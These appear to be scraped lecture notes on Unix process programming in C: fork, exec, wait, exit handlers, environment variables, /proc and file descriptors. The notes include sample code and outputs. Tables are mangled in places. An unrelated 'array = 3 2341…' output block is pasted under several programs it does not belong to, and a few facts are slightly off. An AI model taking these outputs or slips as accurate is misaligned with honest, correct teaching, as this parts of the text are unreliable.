|---|---|
0 |
EXIT_SUCCESS |
1 |
EXIT_FAILURE |
And note that exit() does not
explicitly return any value. All the information is
passed via the status field.
The following two pieces of code are identical:
#include <stdlib.h>
int main()
{
exit(EXIT_SUCCESS) ;
}
#include <stdlib.h>
int main()
{
return EXIT_SUCCESS ;
}
exit() statusDespite wait’s status return value being a
simple int, the bits of that integer
mean very specific things. See the man page for
wait for details, but we can use a set of
functions (really “macros”) to interpret the status value: -
WIFEXITED(status) will return 0 if
the process didn’t exit (e.g. if it faulted instead), and
non-0 otherwise -
WEXITSTATUS(status) will get the intuitive
integer value that was passed to exit (or
returned from main), but assumes that this
value is only 8 bits large, max (thus has a maximum value of
256)
both defined in <sys/wait.h>.
wait() and exit()The relationship between these two calls can be confusing but they are closelfy related.
fork() creates a new child:
wait() is the pid of that
child.
exit(status) then that status is written into
the status variable of the wait(&status)
call.
Note: the interface for
wait():
pid_t wait(int *wstatus)
the input is a pointer to an integer.
Hence, the value passed from exit() is written
into that integer and is accessible after the
wait() call returns.
exit() call from
the child.
/* CSC 2410 Code Sample
* intro to fork(), wait() and exit()
* Fall 2023
* (c) Sibin Mohan
*/
#include <unistd.h> // fork(), getpid()
#include <sys/wait.h> // wait()
#include <stdlib.h> // exit()
#include <stdio.h>
#define NUM_CHILDREN 5
int main()
{
pid_t pid, child_pid ;
// create multiple children
for( unsigned int i = 0 ; i < NUM_CHILDREN ; ++i )
{
pid = fork() ;
if( !pid )
{
// we are inside the child
printf( "---CHILD %d--- exiting with %d\n", getpid(), i+1 ) ;
// both of these terminate immediately AND return the same value
// identical, really!
if( i % 2 )
exit( i+1 ) ;
else
return i+1 ;
}
}
/* Inside the parent, wait until the wait() call returns -1 -> no more children left
* take the return value from wait(), put it in "child_pid" and compare that to "-1"
*/
int status ;
while( ( child_pid = wait( &status ) ) != -1 )
{
// all children are done!
if( WIFEXITED(status) )
{
// check that the process didn't terminate with any errors
// note that the output of WIFEEXITED is non-zero for normal exit
printf( "Inside :::PARENT::: where child %d exited with status: %d\n",
child_pid,
(char) WEXITSTATUS(status) ) ;
}
}
printf( "\n" ) ;
return 0 ;
// exit(EXIT_SUCCESS) ;
// return EXIT_SUCCESS ;
}
Note: the output of this is alo non-deterministic as we can see with multiple runs of it:
---CHILD 2566089--- exiting with 1
---CHILD 2566090--- exiting with 2
---CHILD 2566091--- exiting with 3
---CHILD 2566092--- exiting with 4
Inside :::PARENT::: where child 2566089 exited with status: 1
---CHILD 2566093--- exiting with 5
Inside :::PARENT::: where child 2566090 exited with status: 2
Inside :::PARENT::: where child 2566091 exited with status: 3
Inside :::PARENT::: where child 2566092 exited with status: 4
Inside :::PARENT::: where child 2566093 exited with status: 5
---CHILD 2568612--- exiting with 1
---CHILD 2568613--- exiting with 2
---CHILD 2568614--- exiting with 3
---CHILD 2568615--- exiting with 4
Inside :::PARENT::: where child 2568612 exited with status: 1
---CHILD 2568616--- exiting with 5
Inside :::PARENT::: where child 2568613 exited with status: 2
Inside :::PARENT::: where child 2568614 exited with status: 3
Inside :::PARENT::: where child 2568615 exited with status: 4
Inside :::PARENT::: where child 2568616 exited with status: 5
This non-determinism is a product of the
isolation that is provided by processes. The OS
switches back and forth between processes frequently (up to
thousands of time per second!) so that if one goes into an
infinite loop, others will still make progress. But this
also means that the OS can choose to run any of the
processes that are trying to execute at any point in time!
We cannot predict the order of execution, completion, or
wait notification. This non-deterministic
execution is called concurrency. You’ll want to
keep this in mind as you continue to learn the process APIs,
and when we talk about IPC, later.
exit()?Remember that when main() returns, it is the
same as exit() because main() calls
exit().
Investigating
mainreturn →exitviagdb. You can see this by diving into any program withgdb -tui, breakpointing before the return (e.g.b 5), and single-stepping through the program. You’ll want tolayout asmto drop into “assembly mode”, and single step through the assembly and if you want to step through it instruction at a time usestepiorsi. You can see that it ends up calling__GI_exit.__GI_*functions are glibc internal functions, so we see thatlibcis actually callingmain, and when it returns, it is then going through its logic forexit.
C provides you with additional control of
what happens when you exit from a program. For instance, you
may need to clean up resources, e.g.,
release some memory, close some files or network
connections, write some debug information to a file,
etc. Hence, the following functions can be
are called once exit() is invoked: |function|
defined in | |——–|——–| | on_exit|
<stdlib.h>| | atexit|
<stdlib.h>| | _exit|
<unistd.h>| ||
Let’s look at these in more details.
on_exit()typdef void (*function)( int , void * ) ;
int on_exit( function my_func, void *arg ) ;
my_funcmain()typdef void (*function)( int , void * ) ;status &
argumentatexit()typedef void (*function)(void) ;
int atexit(function my_func);
Program output:
array = 3 2341 2344 8632 747645
my_funcmain()typedef void (*function)(void) ;Note: some nuances: 1. neither
atexit() nor on_exit() immediately
terminate the process. 2. you can register
multiple functions using either one; these
are called in reverse order of
registrations 3. atexit() is standard
c, while on_exit() may
not be!
_exit()void _exit(int status);
/* CSC 2410 Code Sample
* intro to fork(), wait() and exit()
* Fall 2023
* (c) Sibin Mohan
*/
#include <unistd.h> // fork(), getpid()
#include <sys/wait.h> // wait()
#include <stdlib.h> // exit()
#include <stdio.h>
#define NUM_CHILDREN 1
// function signature to match on_exit()
void cleanup( int status, void* args )
{
free( args ) ;
printf( "AFTER Exit(): Doing some cleanup. Freeing memory %hhx status = %d\n", args, status ) ;
}
void simple_cleanup()
{
printf( "Goodbye cruel world!\n" ) ;
}
int main()
{
pid_t pid, child_pid ;
int* some_memory = (int*)malloc(1024) ;
// register the function and also tell it what to cleanup
on_exit( cleanup, some_memory ) ;
// register the simpler atexit function
atexit(simple_cleanup) ;
// create multiple children
for( unsigned int i = 0 ; i < NUM_CHILDREN ; ++i )
{
pid = fork() ;
if( !pid )
{
// we are inside the child
printf( "---CHILD %d--- exiting with %d\n", getpid(), i+1 ) ;
// both of these terminate immediately AND return the same value
// identical, really!
if( i % 2 )
exit( i+1 ) ;
else
return i+1 ;
}
}
/* Inside the parent, wait until the wait() call returns -1 -> no more children left
* take the return value from wait(), put it in "child_pid" and compare that to "-1"
*/
int status ;
while( ( child_pid = wait( &status ) ) != -1 )
{
// all children are done!
if( WIFEXITED(status) )
{
// check that the process didn't terminate with any errors
// note that the output of WIFEEXITED is non-zero for normal exit
printf( "Inside :::PARENT::: where child %d exited with status: %d\n",
child_pid,
(char) WEXITSTATUS(status) ) ;
}
}
printf( "\n" ) ;
return 0 ;
// exit(EXIT_SUCCESS) ;
// return EXIT_SUCCESS ;
}
The output:
---CHILD 2608965--- exiting with 1
Goodbye cruel world!
AFTER Exit(): Doing some cleanup. Freeing memory a0 status = 1
Inside :::PARENT::: where child 2608965 exited with status: 1
Goodbye cruel world!
AFTER Exit(): Doing some cleanup. Freeing memory a0 status = 0
But, what happens if we change the following lines?
// register the simpler atexit function
atexit(simple_cleanup) ;
int* some_memory = (int*)malloc(1024) ;
// register the function and also tell it what to cleanup
on_exit( cleanup, some_memory ) ;
The output now looks like (what’s the difference?):
---CHILD 2609577--- exiting with 1
AFTER Exit(): Doing some cleanup. Freeing memory a0 status = 1
Goodbye cruel world!
Inside :::PARENT::: where child 2609577 exited with status: 1
AFTER Exit(): Doing some cleanup. Freeing memory a0 status = 0
Goodbye cruel world!
Finally, we change the return (i+1) to
_exit(i+1) as follows:
if( i % 2 )
exit( i+1 ) ;
else
// return i+1 ;
_exit(i+1) ;
What does the output look like now?
---CHILD 2610300--- exiting with 1
Inside :::PARENT::: where child 2610300 exited with status: 1
AFTER Exit(): Doing some cleanup. Freeing memory a0 status = 0
Goodbye cruel world!
I think that we likely have a decent intuition about what the command-line arguments are`:
$ ls /bin /sbin
The ls program takes two arguments,
/bin and /sbin. How does
ls access those arguments?
Lets look at a chain of programs that
exec each other. The first program (that you
see here) is called inline_exec_tmp, and the
programs 03/args?.c are subsequently
executed.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
char *prog = "./03/args1.bin";
int
main(int argc, char *argv[])
{
char *args[] = {prog, "hello", "world", NULL};
if (argc != 1) return EXIT_FAILURE;
printf("First program, arg 1: %s\n", argv[0]);
fflush(stdout);
/* lets execute args1 with some arguments! */
if (execvp(prog, args)) {
perror("exec");
return EXIT_FAILURE;
}
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
args1.c is
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
char *prog = "./03/args2.bin";
int
main(int argc, char *argv[])
{
int i;
char **args; /* an array of strings */
printf("Inside %s\n", argv[0]);
/* lets just pass the arguments on through to args2! */
args = calloc(argc + 1, sizeof(char *));
assert(args);
args[0] = prog;
for (i = 1; i < argc; i++) {
args[i] = argv[i];
}
args[i] = NULL; /* the arguments need to be `NULL`-terminated */
if (execvp(prog, args)) {
perror("exec");
return EXIT_FAILURE;
}
return 0;
}
…and args2.c is
#include <stdio.h>
int
main(int argc, char *argv[])
{
int i;
printf("Inside %s\n", argv[0]);
for (i = 0; i < argc; i++) {
printf("arg %d: %s\n", i, argv[i]);
}
return 0;
}
So we see the following.
execs your programs).v variants of exec require
the NULL termination of the argument array,
something that is easy to mess up!Parsing through the command-line arguments can be a
little annoying, and getopt can help.
Environment variables are UNIX’s means of providing configuration information to any process that might want it. They are a key-value store10 that maps an environment variable to its value (both are strings).
Environment variables are used to make configuration information accessible to programs. They are used instead of command-line arguments when:
Example common environment variables include:
PATH - a :-separated list of
file system paths to use to look for programs when attempt
to execute a program.HOME - the current user’s home directory
(e.g. /home/gparmer).USER - the username
(e.g. gparmer).TEMP - a directory that you can use to
store temporary files.Many programs setup and use their own environment
variables. Note that environment variables are pretty
pervasively used – simple libraries exist to access them
from python, node.js,
rust, java, etc…
You can easily access environment variables from the command line:
$ echo $HOME
/home/gparmer
$ export BESTPUP=penny
$ echo $BESTPUP
penny
Any program executed from that shell, will be able to
access the “BESTPUP” environment variable. The
env command dumps out all current environment
variables.
So how do we access the environment variable key-value store in C? The core functions for working with environment variables include:
getenv - Get an environment variable’s
value.setenv - Set one of environment variable’s
value (used by the shell to set up children’s
variables).clearenv - Reset the entire
environment.environ array - This is the array of
environment variables you’ll see in the man
pages. You don’t want to access/modify this directly, but
you can imagine it is used to back all of the previous
calls.#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
int
main(int argc, char *argv[])
{
char *u = getenv("USER");
char *h = getenv("HOME");
assert(u && h);
printf("I am %s, and I live in %s\n", u, h);
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
You can see all of the environmental variables available by default with:
$ env
SHELL=/bin/bash
DESKTOP_SESSION=ubuntu
EDITOR=emacs -nw
PWD=/home/gparmer/repos/gwu-cs-sysprog/22/lectures
LOGNAME=gparmer
HOME=/home/gparmer
USERNAME=gparmer
USER=gparmer
PATH=/home/gparmer/.local/bin::/home/gparmer/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin:/usr/racket/bin/
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
...
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
int
main(int argc, char *argv[])
{
char *u = getenv("USER");
assert(u);
printf("user: %s\n", u);
fflush(stdout);
if (setenv("USER", "penny", 1)) {
perror("attempting setenv");
exit(EXIT_FAILURE);
}
if (fork() == 0) {
char *u = getenv("USER");
char *args[] = { "./03/envtest.bin", "USER", NULL };
/* environment is inherited across *both* `fork` and `exec`! */
printf("user (forked child): %s\n", u);
fflush(stdout);
if (execvp("./03/envtest.bin", args)) {
perror("exec");
return EXIT_FAILURE;
}
}
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
03/envtest.c is
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
int
main(int argc, char *argv[])
{
char *e = "NOARG";
char *v = "NOVAL";
if (argc == 2) {
e = argv[1];
v = getenv(e);
if (!v) {
v = "";
}
}
printf("Environment variable %s -> %s\n", e, v);
return 0;
}
A common use of environment variables is the “home” directory in your shell. How is this implemented?
$ cd ~
The ~ means “my home directory”. To
understand what directory is a user’s home directory, you
can getenv(HOME)!
posix_spawnfork and exec are not the only
functions to execute a program. posix_spawn
also enables the creation of a new process that execute a
given program. posix_spawn performs three
high-level actions:
fork to create a new process,posix_spawn, andexec to execute a program and pass
arguments/environmental variables.It is strictly more limited in what it can do
than fork and exec, but this is
often a feature not a bug. fork is really hard
to use well, and can be quite confusing to use. It is
considered by some to be a flawed
API. Thus the focus of posix_spawn on
specific executing a new program can be quite useful to
simply programs.
We’ve seen how to create and manage processes and how to
execute programs. Amazingly, modern systems have pretty
spectacular facilities for introspection into
executing processes. Introspection facilities generally let
you dive into something as it runs. The most immediate
example of this is gdb or any debugger that let
you dive into an implementation. Looking at
pause.c:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
const int global_readonly = 0;
int global = 0;
int
main(void)
{
int stack_allocated;
int *heap = malloc(sizeof(int));
printf("pid %d\nglobal (RO):\t%p\nglobal: \t%p\nstack: \t%p\nheap: \t%p\nfunction:\t%p\n",
getpid(), &global_readonly, &global, &stack_allocated, heap, main);
pause();
return 0;
}
Program output:
pid 9310
global (RO): 0x55be6d40b008
global: 0x55be6d40d014
stack: 0x7ffc7abafc7c
heap: 0x55be6da162a0
function: 0x55be6d40a1c9
Lets take the process identifier, and dive into the
process! The “proc filesystem” in Linux is
a part of the file system devoted to representing processes.
There is a subdirectly in it for each process in the system.
Lets check out process 9310.
$ cd /proc/9310/
$ ls
arch_status cgroup coredump_filter exe io maps mountstats oom_adj patch_state sched smaps statm timers
attr clear_refs cpuset fd limits mem net oom_score personality schedstat smaps_rollup status timerslack_ns
autogroup cmdline cwd fdinfo loginuid mountinfo ns oom_score_adj projid_map sessionid stack syscall uid_map
auxv comm environ gid_map map_files mounts numa_maps pagemap root setgroups stat task wchan
$ cat maps
55be6d409000-55be6d40a000 r--p 00000000 08:02 1315893 /home/ycombinator/repos/gwu-cs-sysprog/22/lectures/03/pause.bin
55be6d40a000-55be6d40b000 r-xp 00001000 08:02 1315893 /home/ycombinator/repos/gwu-cs-sysprog/22/lectures/03/pause.bin
55be6d40b000-55be6d40c000 r--p 00002000 08:02 1315893 /home/ycombinator/repos/gwu-cs-sysprog/22/lectures/03/pause.bin
55be6d40c000-55be6d40d000 r--p 00002000 08:02 1315893 /home/ycombinator/repos/gwu-cs-sysprog/22/lectures/03/pause.bin
55be6d40d000-55be6d40e000 rw-p 00003000 08:02 1315893 /home/ycombinator/repos/gwu-cs-sysprog/22/lectures/03/pause.bin
55be6da16000-55be6da37000 rw-p 00000000 00:00 0 [heap]
7ff4a127f000-7ff4a12a4000 r--p 00000000 08:02 11797912 /lib/x86_64-linux-gnu/libc-2.31.so
7ff4a12a4000-7ff4a141c000 r-xp 00025000 08:02 11797912 /lib/x86_64-linux-gnu/libc-2.31.so
7ff4a141c000-7ff4a1466000 r--p 0019d000 08:02 11797912 /lib/x86_64-linux-gnu/libc-2.31.so
7ff4a1466000-7ff4a1467000 ---p 001e7000 08:02 11797912 /lib/x86_64-linux-gnu/libc-2.31.so
7ff4a1467000-7ff4a146a000 r--p 001e7000 08:02 11797912 /lib/x86_64-linux-gnu/libc-2.31.so
7ff4a146a000-7ff4a146d000 rw-p 001ea000 08:02 11797912 /lib/x86_64-linux-gnu/libc-2.31.so
7ff4a146d000-7ff4a1473000 rw-p 00000000 00:00 0
7ff4a1495000-7ff4a1496000 r--p 00000000 08:02 11797896 /lib/x86_64-linux-gnu/ld-2.31.so
7ff4a1496000-7ff4a14b9000 r-xp 00001000 08:02 11797896 /lib/x86_64-linux-gnu/ld-2.31.so
7ff4a14b9000-7ff4a14c1000 r--p 00024000 08:02 11797896 /lib/x86_64-linux-gnu/ld-2.31.so
7ff4a14c2000-7ff4a14c3000 r--p 0002c000 08:02 11797896 /lib/x86_64-linux-gnu/ld-2.31.so
7ff4a14c3000-7ff4a14c4000 rw-p 0002d000 08:02 11797896 /lib/x86_64-linux-gnu/ld-2.31.so
7ff4a14c4000-7ff4a14c5000 rw-p 00000000 00:00 0
7ffc7ab90000-7ffc7abb1000 rw-p 00000000 00:00 0 [stack]
7ffc7abe1000-7ffc7abe4000 r--p 00000000 00:00 0 [vvar]
7ffc7abe4000-7ffc7abe5000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
There’s a lot going on here. The most
important parts of the ranges of addresses on the
left that tell us where we can find the
pause.bin program’s code, read-only global
data, global read-writable data, heap, and stack! We also
see that the number of maps in a very simple process is
surprisingly large. Let me manually focus in on a few parts
of this.
...
55be6d40a000-55be6d40b000 r-xp ... /03/pause.bin <-- &main (0x55be6d40a1c9)
55be6d40b000-55be6d40c000 r--p ... /03/pause.bin <-- &global_ro (0x55be6d40b008)
...
55be6d40d000-55be6d40e000 rw-p ... /03/pause.bin <-- &global (0x55be6d40d014)
...
55be6da16000-55be6da37000 rw-p ... [heap] <-- heap (0x55be6da162a0)
...
7ff4a14c4000-7ff4a14c5000 rw-p ...
7ffc7ab90000-7ffc7abb1000 rw-p ... [stack] <-- stack (0x7ffc7abafc7c)
...
We can see that each of the variables we’re accessing in
the program are at addresses that correspond to the
ranges of memory in the maps. Even
more, the /proc/9310/mem file contains the
actual memory for the process! This is really amazing:
we can watch the memory, even as it changes, as a process
actually executes. This is how debuggers work!
As you can see, processes are data too!
forkImplement forkonacci! This will solve the
nth fibonacci
number, using fork for the recursion, and a
combination of exit to “return” and
wait to retrieve the returned value, instead of
function calls. The normal recursive implementation:
unsigned int
fibonacci(unsigned int n)
{
if (n == 0 || n == 1) return n;
return fibonacci(n - 1) + fibonacci(n - 2);
}
This will work decently for n <= 12, but
not for n > 12. Why11?
How do you think that the shell-based support for
environment variables (export BESTPUP=penny) is
implemented? Specifically, if we do the following…
$ export BESTPUP=penny
$ ./03/envtest.bin BESTPUP // this just prints the environment variable
Environment variable BESTPUP -> penny
…which process is using which APIs? Put another way, how
is export implemented?
The /proc filesystem is a treasure trove of
information. You can dive into the process with
pid N’s information in
/proc/N/. You’ll only have access to the
informationx for your processes. So how do you find the
pid of your processes? You can find the
pid of all of the processes that belong to you
using
ps aux | grep gparmer | awk '{print $2}'12, but replacing your
username for gparmer.
Choose one of those, and go into its directory in
/proc. It it doesn’t work, you might have
chosen a process that has terminated since you find its ID.
Try again.
What do you think the following files contain:
cmdlineenvironstatusSome of the files are binary, which means you
might need to use xxd (a hexdecimal binary view
program) to look at them. In xxd, pay attention
to the right column here.
fork() only makes clones of itself.
So, we’re limited to the functions defined in that program.
A shell can execute other programs! Recall
the difference between a program and process: - program →
compiled version of code - process →
program executing in memory
So, we want to create a new process and then
execute a new program. This is done via the
exec() family of calls:
int execl(const char *path, const char *arg0, ..., /*, (char *)0, */);
int execle(const char *path, const char *arg0, ..., /* (char *)0 char *const envp[] */);
int execlp(const char *file, const char *arg0, ..., /*, (char *)0, */);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvP(const char *file, const char *search_path, char *const argv[]);
They are defined in <unistd.h>.
These calls will do the following: - Stop executing in
the current process. - Reclaim all memory within the current
process. - Load the target program into the process. - Start
executing in the target program (i.e. starting normally,
resulting in main execution).
Note: the main insight is that the same process continues execution but it now executes a new program.

fork() a new process [child]:





main()]

A few handy side-effects:
pid_t) and the parent/child
relationships of the process.exec.Good side effects | Shared Resources

Note: only memory not shared | Resources not Shared

Detour: Variadic functions.
Sometimes, we don’t know how many arguments are needed for a function, e.g.,
printf(). Also, command line functions, e.g.,lsvsls -l. In this instance, the shell is callingfork()and one of theexec()functions to launchlswhich starts from…its ownmain().So, how does
ls(or any other program) know what arguments are passed to it, and more importantly, how many?The actual signature of
main()is:C DNE int main( int argc, char* argv[] )-argctells us now many arguments have been passed and -char* argv[]is the actual set of arguments, i.e. an array of strings!Note: the first argument is always the name of the program! Hence, we always have at least one argument.
/* CSC 2410 Code Sample
* exec() family of system calls | arguments to main()
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <errno.h>
int main( int argc, char* argv[] )
{
if( argc )
{
// we get a positive number of arguments
// note that the first argument is always the name of the program
// so we ALWAYS have AT LEAST ONE argument
printf( "Command Line Args received:\t" ) ;
for( unsigned int i = 0 ; i < argc ; ++i )
{
printf( "%s ", argv[i] ) ;
}
}
printf( "\n" ) ;
return 0 ;
}
exec_() familyMultiple ways to launch a new program: -
execl - execlp -
execle - execv -
execvp
The naming scheme is quite annoying and hard to remember,
but the man page has a decent summary. The
trailing characters correspond to specific operations that
differ in how the command-line arguments are passed to the
main:
execl() and execlp(): pass the
argmuments directly to the exec()
call: int execl( const char *path, const char *arg, ..., (char*)0 ) ;
The program gets the argument via the argc
and argv method described earlier.
Note: the last argument has to be
(char*)0, i.e., a NULL.
This is so that the progam can figure out when the list of
arguments is done.
execv() and execvp(): pass
argmuments in null terminated array,
argv[]int execv( const char *path, char *const argv[] ) ;
The caller actually creates an array of strings and passes the arguments using that.
Note: no NULL
termination in the function call.
execle() and execvpe():
environment variables of caller are
passedint execle( const char *pathname, const char *arg, .../*, (char *) NULL, char *const envp[] */ ) ;
int execvpe(const char *file, char *const argv[], char *const envp[]) ;
(l means pass the arguments to this
exec call to the program, while v
means pass the arguments as an array of the arguments into
the exec call), how the program’s path is
specified (by default, an “absolute path” starting with
/ must be used, but in a v
variant, the binary is looked up using comparable logic to
your shell), and how environment variables are passed to the
program. For now, we’ll simply use execvp, and
cover the rest in subsequent sections.
execve()All of the above are layers on top of
execve()
#include "unistd.h"
int execve(const char *pathname, char *const argv[],
char *const envp[]);
fork() and exec()Consider the following piece of code:
/* CSC 2410 Code Sample
* exec()
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h> // fork(), getpid()
#include <sys/types.h> // pid_t
#include <sys/wait.h> // wait()
#include <stdlib.h> // exit()
// int main() // not actual signature
int main( int argc, char* argv[] )
{
char* program = "/bin/ls" ;
char* arg1 = "-al" ;
char* arg2 = "/home" ;
printf( "BEFORE EXEC!\n" ) ;
int ret = execl( program, "banana", arg1, arg2, NULL ) ;
printf( "AFTER EXEC!\n" ) ;
printf( "\n" ) ;
return 0 ;
}
Note: the
printf( "AFTER EXEC!\n" ) ; and further code
will never execute as the code for the
current process is completely
replaced by the code for the program called using
execl(), i.e.,
/bin/ls.
So, to get the behavior that we want,
i.e., for some post-processing/messages,
etc., we must first fork() and new
child process and then run execl() in
the child process!
Updating the previous code:
/* CSC 2410 Code Sample
* exec()
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h> // fork(), getpid()
#include <sys/types.h> // pid_t
#include <sys/wait.h> // wait()
#include <stdlib.h> // exit()
// int main() // not actual signature
int main( int argc, char* argv[] )
{
char* program = "/bin/ls" ;
char* arg1 = "-al" ;
char* arg2 = "/home" ;
printf( "BEFORE EXEC!\n" ) ;
pid_t child = fork() ;
if( !child)
{
// in child process
int ret = execl( program, "banana", arg1, arg2, NULL ) ;
// ideally never comes here!
// as the child process' code has now been replaced
perror("what happened!") ;
}
int status ;
pid_t pid = wait(&status) ;
if( WIFEXITED(status) )
{
// the child exited normally
printf( "--PARENT--: Child %d exited with status %d\n",
pid, WEXITSTATUS(status) ) ;
}
printf( "AFTER EXEC!\n" ) ;
printf( "\n" ) ;
return 0 ;
}
If we have another program that we’ve
written, e.g., child1.c:
/* CSC 2410 Code Sample
* exec() child 1
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h>
int main(int argc, char* argv[])
{
/* Does nothing. Just prints the arguments passed to this program */
printf( "INSIDE CHILD 1: argc = %d, argv[0] = %s, argv[1] = %s, argv[2] = %s\n",
argc, argv[0], argv[1], argv[2] ) ;
return 0 ;
}
Once it is compiled and linked and ready as an
executable, say, child1, we can do:
/* CSC 2410 Code Sample
* exec()
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <unistd.h> // fork(), getpid()
#include <sys/types.h> // pid_t
#include <sys/wait.h> // wait()
#include <stdlib.h> // exit()
// int main() // not actual signature
int main( int argc, char* argv[] )
{
char* program = "./child1" ;
char* args = "hello" ;
char* args2 = "world" ;
pid_t child = fork() ;
if( !child)
{
// in child process
int ret = execl( program, "banana", args, args2, NULL ) ;
// ideally never comes here!
perror("what happened!") ;
}
int status ;
pid_t pid = wait(&status) ;
if( WIFEXITED(status) )
{
// the child exited normally
printf( "--PARENT--: Child %d exited with status %d\n",
pid, WEXITSTATUS(status) ) ;
}
printf( "\n" ) ;
return 0 ;
}
We’re going to start discussing how processes can manipulate the resources it has access to.
for a process to use effectively
pwdRelative paths are quite frequently used when we interact
with the shell. Every time you type cd blah/,
you’re saying “please change the current working directory
to blah/” which is a directory in the current
working directory.
A simple API to interact with the current working
directory: |function| operation | |——–|——–| |
getcwd| gets the current process’ working dir |
| chdir| enables process to change dir | ||
both defined in <unistd.h>.
A quick listing of the directory structure of
Linux: 
Let’s look at a simple code example:
#include <unistd.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char *wd = getcwd(NULL, 0);
assert(wd);
printf("Current directory: %s\n", wd);
free(wd);
if (chdir("..") == -1) {
perror("chdir");
abort();
}
wd = getcwd(NULL, 0);
printf("New current dir: %s\n", wd);
free(wd);
printf( "\n" ) ;
return 0;
}
Note: the command cd is
actually not a program, and is instead a
shell-internal function. Try using the
which program (used to find the location of a
known program):
$ which ls
/bin/ls
$ which pwd
/bin/pwd
$ which cd
$

Most processes have at least three:
|number | descriptor | What it is | |——–|——–|——–|
|0 | STDIN_FILENO | standard
input | |1 |
STDOUT_FILENO | standard
output | |2 |
STDERR_FILENO | standard error
perror()| ||
defined in unistd.h.
ctrl-dWhen we type at the shell, we’re providing a channel of data that is sent to the standard input of the active process. When a process prints, it sends a sequence of characters to the standard output, and because programs can loop, that stream can be infinite!
STDIN_FILENO = 0 is the
standard input, or the main way the process gets
input from the system. As such, the resource is often the
terminal if the user directly provides input, or sometimes
the output of a previous stage in a command-line pipeline.
STDOUT_FILENO = 1 is the
standard output, or the main way the process sends
its output to the system. When we call printf,
it will, by default, output using this descriptor.
STDERR_FILENO = 2 is the
standard error, or the main way that the process
outputs error messages. perror (and other
error-centric APIs) output to the standard error.
Each of these descriptors is associated with a
potentially infinite sequence of bytes, or
channel13. When we
type at the shell, we’re providing a channel of data that is
sent to the standard input of the active process. When a
process prints, it sends a sequence of characters to the
standard output, and because programs can loop, that stream
can be infinite! Channels, however, can terminate
if they run out of data. This could happen, for example, if
a channel reading through a file reaches the end of the
file, or if the user hits cntl-d on their
terminal to signify “I don’t have any more data”.
Now these are file descriptors so we treat them as files!
File descriptors are analogous to pointers. The descriptors effectively point to channel resources.
Some core operations on files: |operation| interface |
|———|———–| |pull bytes from channel into
buffer | read | |send bytes
from channel into buffer | write
|duplicate a file descriptor |
dup/dup2/dup3 | |deallocate a
file descriptor | close | ||
Note:: - printf() is a
write to standard out - close
doesn’t necessarily remove channel - analogous to removing a
pointer
dup() vs dup2() vs
dup3()dup() returns smallest unused number as
fddup2() same as dup() but uses given
fdfd exists, then it is closed,
atomicallydup3() same as dup2() but
takes flags as inputLook at the man dup page for more
information.
Let’s see some of these calls in action:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
int
main(void)
{
char *hw = "hello world\n";
char output[256];
int fd;
ssize_t amnt; /* signed size */
amnt = write(STDOUT_FILENO, hw, strlen(hw));
if (amnt == 0) { /* maybe STDOUT writes to a file with no disk space! */
/* this is *not* an error, so errno not set! */
printf("Cannot write more data to channel\n");
exit(EXIT_FAILURE);
} else if (amnt > 0) {
/* normally, the return value tells us how much was written */
assert(amnt == (ssize_t)strlen(hw));
} else { /* amnt == -1 */
perror("Error writing to stdout");
exit(EXIT_FAILURE);
}
amnt = write(STDERR_FILENO, hw, strlen(hw));
assert(amnt >= 0);
fd = dup(STDOUT_FILENO);
assert(fd >= 0);
/* We can write formatted data out to stdout manually! */
snprintf(output, 255, "in: %d, out: %d, err: %d, new: %d\n",
STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO, fd);
output[255] = '\0';
amnt = write(fd, output, strlen(output));
/* new file descriptors are supposed to use the lowest unused descriptor! */
/* make a descriptor available */
close(STDIN_FILENO); /* STDIN is no longer really the input! */
fd = dup(STDOUT_FILENO);
printf("New descriptor @ %d\n", fd);
return 0;
}
You can run this, and redirect the standard error to a
file to see that writing to standard error is a different
operation than writing to standard output. For example:
$ prog 2> errors.txt will redirect file
descriptor 2 (stderr) to the file.
Lets focus in a little bit on read and
write. First, it is notable that the buffer
they take as an argument (along with its length) is simply
an array of bytes. It can be a string, or it could be the
bytes that are part of an encoded video. Put another way, by
default, channels are just sequences of bytes. It
is up to our program to interpret those bytes properly.
Second, we need to understand that the return value for
read/write has four main,
interesting conditions:
#include <unistd.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
int
main(void)
{
ssize_t amnt;
char *hi = "more complicated than you'd think...";
ssize_t hi_sz = strlen(hi);
amnt = write(STDOUT_FILENO, hi, hi_sz);
/* Can often mean that we are not able to write to the resource */
if (amnt == 0) {
/*
* Keep trying to write, or give up.
* Common return value for `read` when a file has no more data, or a pipe is closed.
*/
} else if (amnt > 0 && amnt < hi_sz) {
/*
* Didn't write everythign we wanted, better call write again sending
* data starting at `&hi[amnt]`, of length `hi_sz - amnt`.
*/
} else if (amnt == hi_sz) {
/*
* Wrote out everything! Wooo!
*/
} else { /* amnt == -1 */
/* Could be a genuine error, but not always... */
if (errno == EPIPE || errno == EAGAIN || errno == EINTR || errno == EWOULDBLOCK) {
/* conditions we should probably handle properly */
} else {
/* error in the channel! */
}
}
return 0;
}
